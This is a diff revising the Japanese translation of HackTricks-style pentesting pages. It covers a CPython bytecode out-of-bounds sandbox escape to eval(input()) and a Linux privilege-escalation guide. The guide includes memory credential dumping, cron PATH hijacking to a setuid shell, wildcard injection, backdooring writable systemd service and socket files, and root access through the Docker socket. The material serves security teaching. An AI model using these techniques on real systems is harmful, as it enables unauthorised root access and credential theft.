> `__getattribute__` と名付ける必要はなく、もっと短い名前や奇妙な名前を付けることができます。
|
||||
|
||||
その理由は、バイトコードを見るだけで理解できます:
|
||||
```python
|
||||
@ -80,7 +80,7 @@ FAST_DISPATCH();
|
||||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
```
|
||||
`LOAD_ATTR`は`co_names`から名前を取得することにも注意してください。Pythonは名前が同じであれば同じオフセットから名前をロードしますので、2番目の`__getattribute__`もoffset=5からロードされます。この機能を利用することで、名前が近くのメモリにある場合に任意の名前を使用することができます。
|
||||
`LOAD_ATTR`が`co_names`から名前を取得することに注意してください。Pythonは名前が同じであれば同じオフセットから名前をロードしますので、2番目の`__getattribute__`もoffset=5からロードされます。この機能を使用することで、名前が近くのメモリにある場合に任意の名前を使用できます。
|
||||
|
||||
数を生成するのは簡単なはずです:
|
||||
|
||||
@ -222,16 +222,16 @@ builtins['eval'](builtins['input']())
|
||||
|
||||
### バージョンノートと影響を受けるオペコード (Python 3.11–3.13)
|
||||
|
||||
- CPython バイトコードオペコードは、整数オペランドによって `co_consts` と `co_names` タプルにインデックスを付けます。攻撃者がこれらのタプルを空にする(またはバイトコードで使用される最大インデックスよりも小さくする)ことができれば、インタプリタはそのインデックスのために範囲外のメモリを読み取り、近くのメモリから任意の PyObject ポインタを得ることになります。関連するオペコードには少なくとも以下が含まれます:
|
||||
- CPython バイトコードオペコードは、整数オペランドによって `co_consts` と `co_names` タプルにインデックスを付けます。攻撃者がこれらのタプルを空にする(またはバイトコードで使用される最大インデックスよりも小さくする)ことができれば、インタープリタはそのインデックスのために範囲外のメモリを読み取り、近くのメモリから任意の PyObject ポインタを得ることになります。関連するオペコードには少なくとも以下が含まれます:
|
||||
- `LOAD_CONST consti` → `co_consts[consti]` を読み取ります。
|
||||
- `LOAD_NAME namei`、`STORE_NAME`、`DELETE_NAME`、`LOAD_GLOBAL`、`STORE_GLOBAL`、`IMPORT_NAME`、`IMPORT_FROM`、`LOAD_ATTR`、`STORE_ATTR` → `co_names[...]` から名前を読み取ります(3.11+ では `LOAD_ATTR`/`LOAD_GLOBAL` が低ビットにフラグビットを格納することに注意してください; 実際のインデックスは `namei >> 1` です)。バージョンごとの正確な意味については、ディスアセンブラのドキュメントを参照してください。[Python dis docs]。
|
||||
- `LOAD_NAME namei`、`STORE_NAME`、`DELETE_NAME`、`LOAD_GLOBAL`、`STORE_GLOBAL`、`IMPORT_NAME`、`IMPORT_FROM`、`LOAD_ATTR`、`STORE_ATTR` → `co_names[...]` から名前を読み取ります(3.11+ では `LOAD_ATTR`/`LOAD_GLOBAL` が低ビットにフラグビットを格納することに注意してください; 実際のインデックスは `namei >> 1` です)。バージョンごとの正確な意味については、ディスアセンブラのドキュメントを参照してください。[Python dis docs].
|
||||
- Python 3.11+ では、命令の間に隠れた `CACHE` エントリを追加する適応/インラインキャッシュが導入されました。これは OOB プリミティブを変更するものではなく、バイトコードを手作りする場合は、`co_code` を構築する際にこれらのキャッシュエントリを考慮する必要があることを意味します。
|
||||
|
||||
実用的な影響:このページの技術は、コードオブジェクトを制御できる場合(例:`CodeType.replace(...)` を介して)に、`co_consts`/`co_names` を縮小することで CPython 3.11、3.12、3.13 で引き続き機能します。
|
||||
|
||||
### 有用な OOB インデックスのためのクイックスキャナー (3.11+/3.12+ 互換)
|
||||
|
||||
高レベルのソースからではなく、バイトコードから直接興味深いオブジェクトを探すことを好む場合は、最小限のコードオブジェクトを生成し、インデックスをブルートフォースすることができます。以下のヘルパーは、必要に応じてインラインキャッシュを自動的に挿入します。
|
||||
高レベルのソースからではなく、バイトコードから直接興味深いオブジェクトを探ることを好む場合は、最小限のコードオブジェクトを生成し、インデックスをブルートフォースすることができます。以下のヘルパーは、必要に応じてインラインキャッシュを自動的に挿入します。
|
||||
```python
|
||||
import dis, types
|
||||
|
||||
@ -271,10 +271,10 @@ if obj is not None:
|
||||
print(idx, type(obj), repr(obj)[:80])
|
||||
```
|
||||
ノート
|
||||
- 名前を調べるには、`LOAD_CONST`を`LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR`に置き換え、スタックの使用を適切に調整します。
|
||||
- 必要に応じて、`EXTENDED_ARG`または複数のバイトの`arg`を使用して、インデックス>255に到達します。上記のように`dis`で構築する際は、低バイトのみを制御します。より大きなインデックスの場合は、生のバイトを自分で構築するか、攻撃を複数のロードに分割します。
|
||||
- 名前を調べる代わりに、`LOAD_CONST`を`LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR`に置き換え、スタックの使用を適切に調整してください。
|
||||
- 必要に応じて、`EXTENDED_ARG`または複数のバイトの`arg`を使用して、インデックス>255に到達します。上記のように`dis`でビルドする際は、低バイトのみを制御します。より大きなインデックスの場合は、生のバイトを自分で構築するか、攻撃を複数のロードに分割してください。
|
||||
|
||||
### 最小バイトコードのみのRCEパターン (co_consts OOB → builtins → eval/input)
|
||||
### 最小限のバイトコードのみのRCEパターン (co_consts OOB → builtins → eval/input)
|
||||
|
||||
`co_consts`インデックスがbuiltinsモジュールに解決されることを特定したら、スタックを操作することで`eval(input())`を`co_names`なしで再構築できます:
|
||||
```python
|
||||
@ -332,5 +332,5 @@ raise ValueError("Bytecode refers to name index beyond co_names length")
|
||||
## 参考文献
|
||||
|
||||
- SplitlineのHITCON CTF 2022のレポート「V O I D」(この技術の起源と高レベルのエクスプロイトチェーン): https://blog.splitline.tw/hitcon-ctf-2022/
|
||||
- Python逆アセンブラのドキュメント(LOAD_CONST/LOAD_NAMEなどのインデックスセマンティクス、および3.11+の `LOAD_ATTR`/`LOAD_GLOBAL` 低ビットフラグ): https://docs.python.org/3.13/library/dis.html
|
||||
- Python逆アセンブラのドキュメント(LOAD_CONST/LOAD_NAME/etc.のインデックスセマンティクス、および3.11+の `LOAD_ATTR`/`LOAD_GLOBAL` の低ビットフラグ): https://docs.python.org/3.13/library/dis.html
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### OS情報
|
||||
|
||||
OSの知識を得ることから始めましょう。
|
||||
まず、実行中のOSについての知識を得ることから始めましょう。
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||
```
|
||||
### Path
|
||||
|
||||
もしあなたが`PATH`変数内の任意のフォルダーに**書き込み権限を持っている場合**、いくつかのライブラリやバイナリをハイジャックできるかもしれません:
|
||||
もし**`PATH`** 変数内の任意のフォルダーに書き込み権限がある場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります:
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
@ -43,7 +43,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者で実行、カーネル2.xの脆弱性のみをチェック)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者で実行、カーネル2.xの脆弱性のみをチェック)
|
||||
|
||||
常に**Googleでカーネルバージョンを検索**してください。おそらくあなたのカーネルバージョンがいくつかのカーネル脆弱性に記載されており、その場合、この脆弱性が有効であることが確認できます。
|
||||
|
||||
@ -144,13 +144,13 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
また、**任意のコンパイラがインストールされているか確認してください**。これは、カーネルエクスプロイトを使用する必要がある場合に便利です。使用するマシン(または類似のマシン)でコンパイルすることが推奨されます。
|
||||
また、**コンパイラがインストールされているかどうかを確認してください**。これは、カーネルエクスプロイトを使用する必要がある場合に便利です。使用するマシン(または類似のマシン)でコンパイルすることが推奨されます。
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
### 脆弱なソフトウェアのインストール
|
||||
|
||||
**インストールされたパッケージとサービスのバージョン**を確認してください。特権昇格に悪用される可能性のある古いNagiosのバージョンがあるかもしれません…\
|
||||
**インストールされたパッケージとサービスのバージョン**を確認してください。特権昇格に利用できる古いNagiosのバージョンがあるかもしれません…\
|
||||
より疑わしいインストールされたソフトウェアのバージョンを手動で確認することをお勧めします。
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
@ -158,18 +158,18 @@ rpm -qa #Centos
|
||||
```
|
||||
SSHアクセスがある場合、**openVAS**を使用して、マシンにインストールされている古いおよび脆弱なソフトウェアをチェックすることもできます。
|
||||
|
||||
> [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知の脆弱性に対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します_
|
||||
> [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知のエクスプロイトに対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します。_
|
||||
|
||||
## プロセス
|
||||
|
||||
実行中の**プロセス**を確認し、**権限が過剰なプロセス**がないかチェックしてください(例えば、rootによって実行されているtomcatなど)。
|
||||
実行中の**プロセス**を確認し、どのプロセスが**必要以上の特権を持っているか**をチェックしてください(例えば、rootによって実行されているtomcatなど)。
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
常に可能な [**electron/cef/chromiumデバッガー**] が実行されているか確認してください。これを悪用して特権を昇格させることができます。 **Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\
|
||||
また、**プロセスのバイナリに対する権限を確認してください**。もしかしたら誰かの上書きができるかもしれません。
|
||||
また、**プロセスのバイナリに対する権限を確認してください**。誰かを上書きできるかもしれません。
|
||||
|
||||
### プロセス監視
|
||||
|
||||
@ -179,21 +179,21 @@ top -n 1
|
||||
|
||||
サーバーのいくつかのサービスは、**メモリ内に平文で資格情報を保存します**。\
|
||||
通常、他のユーザーに属するプロセスのメモリを読むには**root権限**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\
|
||||
ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができます**。
|
||||
ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができることを忘れないでください**。
|
||||
|
||||
> [!WARNING]
|
||||
> 現在、ほとんどのマシンは**デフォルトでptraceを許可していない**ため、特権のないユーザーに属する他のプロセスをダンプすることはできません。
|
||||
>
|
||||
> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ はptraceのアクセス可能性を制御します:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これがptracingが機能していた古典的な方法です。
|
||||
> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つすべてのプロセスをデバッグできます。これがptracingが機能していた古典的な方法です。
|
||||
> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグできます。
|
||||
> - **kernel.yama.ptrace_scope = 2**: 管理者のみがptraceを使用できます。これはCAP_SYS_PTRACE権限が必要です。
|
||||
> - **kernel.yama.ptrace_scope = 3**: ptraceでトレースできるプロセスはありません。一度設定されると、ptracingを再度有効にするには再起動が必要です。
|
||||
|
||||
#### GDB
|
||||
|
||||
FTPサービスのメモリにアクセスできる場合(例えば)、ヒープを取得し、その資格情報を内部で検索することができます。
|
||||
FTPサービスのメモリにアクセスできる場合(例えば)、ヒープを取得し、その資格情報の中を検索することができます。
|
||||
```bash
|
||||
gdb -p <FTP_PROCESS_PID>
|
||||
(gdb) info proc mappings
|
||||
@ -230,14 +230,14 @@ rm $1*.bin
|
||||
```
|
||||
#### /dev/mem
|
||||
|
||||
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
|
||||
通常、`/dev/mem` は **root** と **kmem** グループのみが読み取ることができます。
|
||||
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
|
||||
通常、`/dev/mem` は **root** と **kmem** グループのみに読み取り可能です。
|
||||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
### ProcDump for linux
|
||||
|
||||
ProcDumpは、WindowsのSysinternalsツールスイートからのクラシックなProcDumpツールのLinux版です。入手先は[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
ProcDumpは、Windows用のSysinternalsツールスイートからのクラシックなProcDumpツールのLinux版です。入手先は[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
```
|
||||
procdump -p 1714
|
||||
|
||||
@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process.
|
||||
プロセスのメモリをダンプするには、次のツールを使用できます:
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、あなたが所有するプロセスをダンプできます
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、自分が所有するプロセスをダンプできます
|
||||
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) のスクリプト A.5 (root が必要)
|
||||
|
||||
### プロセスメモリからの資格情報
|
||||
@ -288,16 +288,16 @@ strings *.dump | grep -i password
|
||||
```
|
||||
#### mimipenguin
|
||||
|
||||
ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗む** ことができ、いくつかの **よく知られたファイル** からも情報を取得します。正しく動作するためには、root権限が必要です。
|
||||
ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗む** ことができ、いくつかの **よく知られたファイル** からも情報を取得します。正しく動作するには root 権限が必要です。
|
||||
|
||||
| 機能 | プロセス名 |
|
||||
| ------------------------------------------------ | -------------------- |
|
||||
| GDM パスワード (Kali デスクトップ、Debian デスクトップ) | gdm-password |
|
||||
| Gnome キーチェーン (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon |
|
||||
| GDM パスワード (Kali デスクトップ, Debian デスクトップ) | gdm-password |
|
||||
| Gnome キーチェーン (Ubuntu デスクトップ, ArchLinux デスクトップ) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu デスクトップ) | lightdm |
|
||||
| VSFTPd (アクティブ FTP 接続) | vsftpd |
|
||||
| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
|
||||
| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
|
||||
| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
|
||||
| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Scheduled/Cron jobs
|
||||
|
||||
スケジュールされたジョブが脆弱であるか確認してください。ルートによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?ルートが使用するファイルを変更できますか?シンボリックリンクを使用しますか?ルートが使用するディレクトリに特定のファイルを作成しますか?)。
|
||||
任意のスケジュールされたジョブが脆弱であるか確認してください。ルートによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?ルートが使用するファイルを変更できますか?シンボリックリンクを使用しますか?ルートが使用するディレクトリに特定のファイルを作成しますか?)。
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -323,12 +323,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
||||
```
|
||||
### Cron path
|
||||
|
||||
例えば、_ /etc/crontab _の中にPATHが見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
例えば、_/etc/crontab_ の中に次のような PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
|
||||
(_ユーザー「user」が/home/userに書き込み権限を持っていることに注意してください_)
|
||||
(_ユーザー "user" が /home/user に対して書き込み権限を持っていることに注意してください_)
|
||||
|
||||
このcrontabの中で、rootユーザーがパスを設定せずにコマンドやスクリプトを実行しようとするとします。例えば: _\* \* \* \* root overwrite.sh_\
|
||||
その場合、次のようにしてrootシェルを取得できます:
|
||||
この crontab の中で、root ユーザーがパスを設定せずにコマンドやスクリプトを実行しようとすると、例えば: _\* \* \* \* root overwrite.sh_\
|
||||
その場合、次のようにして root シェルを取得できます:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
#Wait cron job to be executed
|
||||
@ -336,11 +336,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron using a script with a wildcard (Wildcard Injection)
|
||||
|
||||
もしルートによって実行されるスクリプトにコマンド内に「**\***」が含まれている場合、これを利用して予期しないこと(例えば、特権昇格)を引き起こすことができます。例:
|
||||
もしルートによって実行されるスクリプトがコマンド内に「**\***」を含んでいる場合、これを利用して予期しないこと(例えば、特権昇格)を引き起こすことができます。例:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**もしワイルドカードの前に** _**/some/path/\***_ **のようなパスがある場合、脆弱ではありません(** _**./\***_ **もそうです)。**
|
||||
**もしワイルドカードが** _**/some/path/\***_ **のようなパスの前にある場合、それは脆弱ではありません(** _**./\***_ **もそうです)。**
|
||||
|
||||
次のページを読んで、他のワイルドカードの悪用テクニックを学んでください:
|
||||
|
||||
@ -362,9 +362,9 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Frequent cron jobs
|
||||
|
||||
1分、2分、または5分ごとに実行されているプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。
|
||||
1分ごと、2分ごと、または5分ごとに実行されているプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。
|
||||
|
||||
例えば、**1分間0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします:
|
||||
例えば、**1分間に0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -385,7 +385,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
||||
|
||||
### 書き込み可能なサービスバイナリ
|
||||
|
||||
サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更することができるため、サービスが再実行されるとバックドアが実行されます。
|
||||
サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更できることを念頭に置いてください。そうすれば、サービスが再実行されるとバックドアが実行されます。
|
||||
|
||||
### systemd PATH - 相対パス
|
||||
|
||||
@ -419,14 +419,14 @@ Unit=backdoor.service
|
||||
```
|
||||
ドキュメントでは、Unitについて次のように説明されています:
|
||||
|
||||
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(上記参照)。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
|
||||
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(上記を参照)。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
|
||||
|
||||
したがって、この権限を悪用するには、次のことが必要です:
|
||||
|
||||
- **書き込み可能なバイナリを実行している**systemdユニット(例えば、`.service`)を見つける
|
||||
- **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**に対して**書き込み権限**を持つ(その実行可能ファイルを偽装するため)
|
||||
|
||||
**タイマーについて詳しくは `man systemd.timer` を参照してください。**
|
||||
**`man systemd.timer`でタイマーについて詳しく学びましょう。**
|
||||
|
||||
### **タイマーの有効化**
|
||||
|
||||
@ -446,19 +446,19 @@ Unixドメインソケット(UDS)は、クライアント-サーバーモデ
|
||||
**`man systemd.socket`でソケットについてさらに学びましょう。** このファイル内では、いくつかの興味深いパラメータを設定できます:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**(AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。
|
||||
- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことが推奨されます。
|
||||
- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことを推奨します。
|
||||
- `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。
|
||||
- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。
|
||||
- `Service`: **受信トラフィック**で**アクティブ化する**サービスユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービス(サフィックスが置き換えられたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。
|
||||
- `Service`: **受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービス(サフィックスが置き換えられたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。
|
||||
|
||||
### 書き込み可能な.socketファイル
|
||||
|
||||
**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**することができ、ソケットが作成される前にバックドアが実行されます。したがって、**マシンが再起動されるまで待つ必要があるかもしれません。**\
|
||||
**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動するまで待つ必要があります。**\
|
||||
_システムがそのソケットファイル構成を使用している必要があり、さもなければバックドアは実行されません_
|
||||
|
||||
### 書き込み可能なソケット
|
||||
|
||||
**書き込み可能なソケット**を**特定した場合**(_ここではUnixソケットについて話しており、構成`.socket`ファイルについてではありません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。
|
||||
**書き込み可能なソケットを特定した場合**(_ここではUnixソケットについて話しており、構成`.socket`ファイルについては話していません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。
|
||||
|
||||
### Unixソケットの列挙
|
||||
```bash
|
||||
@ -485,11 +485,11 @@ HTTPリクエストをリッスンしている**ソケット**がいくつか存
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
もしソケットが**HTTP**リクエストで**応答**する場合、あなたはそれと**通信**でき、場合によっては**いくつかの脆弱性を悪用**できるかもしれません。
|
||||
もしソケットが**HTTP**リクエストで**応答**する場合、あなたはそれと**通信**でき、場合によっては**脆弱性を悪用**できるかもしれません。
|
||||
|
||||
### 書き込み可能なDockerソケット
|
||||
|
||||
Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段を以下に示します。
|
||||
Dockerソケットは、通常`/var/run/docker.sock`にあり、保護すべき重要なファイルです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段を以下に示します。
|
||||
|
||||
#### **Docker CLIを使用した特権昇格**
|
||||
|
||||
@ -504,7 +504,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
|
||||
|
||||
Docker CLIが利用できない場合でも、DockerソケットはDocker APIと`curl`コマンドを使用して操作できます。
|
||||
|
||||
1. **Dockerイメージのリスト:** 利用可能なイメージのリストを取得します。
|
||||
1. **Dockerイメージの一覧:** 利用可能なイメージのリストを取得します。
|
||||
|
||||
```bash
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
@ -536,9 +536,9 @@ Upgrade: tcp
|
||||
|
||||
### その他
|
||||
|
||||
もしあなたが**`docker`グループ内にいるためにdockerソケットに対する書き込み権限を持っている場合**、あなたには[**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/index.html#docker-group)。もし[**docker APIがポートでリスニングしている場合、あなたはそれを妥協することもできるかもしれません**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
|
||||
**`docker`グループ内にいるためにdockerソケットに対する書き込み権限がある場合、** [**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/index.html#docker-group)ので注意してください。もし[**docker APIがポートでリスニングしている場合、妥協することも可能です**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
|
||||
|
||||
**dockerから抜け出す方法やそれを悪用して特権を昇格させる方法**については、以下を確認してください:
|
||||
**dockerから脱出する方法やそれを悪用して特権を昇格させる方法をさらに確認してください**:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -546,7 +546,7 @@ docker-security/
|
||||
|
||||
## Containerd (ctr) 特権昇格
|
||||
|
||||
もし**`ctr`**コマンドを使用できることがわかった場合、以下のページを読んでください。**特権を昇格させるためにそれを悪用できるかもしれません**:
|
||||
**`ctr`**コマンドを使用できる場合は、**特権を昇格させるために悪用できる可能性があるため、以下のページを読んでください**:
|
||||
|
||||
{{#ref}}
|
||||
containerd-ctr-privilege-escalation.md
|
||||
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
|
||||
|
||||
## **RunC** 特権昇格
|
||||
|
||||
もし**`runc`**コマンドを使用できることがわかった場合、以下のページを読んでください。**特権を昇格させるためにそれを悪用できるかもしれません**:
|
||||
**`runc`**コマンドを使用できる場合は、**特権を昇格させるために悪用できる可能性があるため、以下のページを読んでください**:
|
||||
|
||||
{{#ref}}
|
||||
runc-privilege-escalation.md
|
||||
@ -562,15 +562,15 @@ runc-privilege-escalation.md
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-Busは、アプリケーションが効率的に相互作用し、データを共有できるようにする高度な**プロセス間通信(IPC)システム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。
|
||||
D-Busは、アプリケーションが効率的に相互作用し、データを共有できる高度な**プロセス間通信(IPC)システム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。
|
||||
|
||||
